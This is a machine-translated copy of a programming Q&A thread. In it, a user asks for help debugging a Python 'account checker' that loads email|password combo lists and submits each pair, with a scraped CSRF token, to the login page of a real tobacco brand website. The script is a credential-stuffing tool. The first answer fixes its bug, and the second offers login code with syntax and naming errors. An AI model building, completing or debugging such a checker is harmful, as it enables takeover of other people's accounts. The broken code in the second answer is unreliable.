如何修复AttributeError:模块'requests.sessions'没有属性'post'

时间:2019-04-17 12:03:07

标签: python

我想用python创建帐户检查器

这是我的代码

    import requests
from bs4 import BeautifulSoup

class output(object):
    def tested(self, email, password):
        print(f" Posted: {email} {password}")


# Get CSRF TOKEN
class checker_start(object):
    def get_token(self):
        data = requests.get("https://www.marlboro.id/auth/login")
        soup = BeautifulSoup(data.text, "lxml")
        decide_csrf = soup.find("input", {"name": "decide_csrf"})["value"]
        return decide_csrf

    def post(self, combo):
        decide_csrf = self.get_token()
        email = combo[0]
        password = combo [1]
        api = requests.sessions
        # Creating POST METHOD #
        param = {"_method": "POST", "decide_csrf": decide_csrf, "email": email, "password": password}
        source = api.post("https://www.marlboro.id/auth/login", data=param).text

        if """<div class="err__msg-big">Opps!</div>""" in source:
            output().tested(email, password)
        else:
            output().tested(email, password)

    def start(self):
        file = input("Please input your txt file: ")
        data = open(file, "r").readlines()
        data_s = [lines.replace("\n", " ") for lines in data]
        for lines in data_s:
            combo = lines.split("|")
            self.post(combo)

if __name__ == "__main__":
    checker_start().start()

但是当我运行这些代码时,输​​出为:

  

回溯(最近通话最近):文件   “ /Users/erzajullian/PycharmProjects/Checker/marlboro.py”,第39行,在          checker_start()。start()文件“ /Users/erzajullian/PycharmProjects/Checker/marlboro.py”,第36行,在   开始       self.post(combo)文件“ /Users/erzajullian/PycharmProjects/Checker/marlboro.py”,第23行,在   发布       source = api.post(“ https://www.marlboro.id/auth/login”,data = param).text AttributeError:模块'requests.sessions'没有   属性“ post”

如何解决这些问题?谢谢

2 个答案:

答案 0 :(得分:1)

你有

api = requests.sessions

api在此之后不再是请求模块,因此它没有post()方法。

如果替换

source = api.post("https://www.marlboro.id/auth/login", data=param).text

使用

source = requests.post("https://www.marlboro.id/auth/login", data=param).text

这可以解决问题吗?如果是这样,您可以删除api = requests.sessions行。)

答案 1 :(得分:0)

首先,您必须稍微更改代码。邮政要求应以不同的方式处理。

import requests
with requests.Sessions as s:
    # Define headers which you will get via post request
    Headers = {'user-agent':'YOUR_HEADERS'}
    url = 'some_url'
    login_data{
    'username':'user',
    'password':'password'
    # Any other login data your site requires}
    r = s.post(url, data=login_data, headers=Headers)
    # now you can use r.content to parse given html in bs4

希望这会有所帮助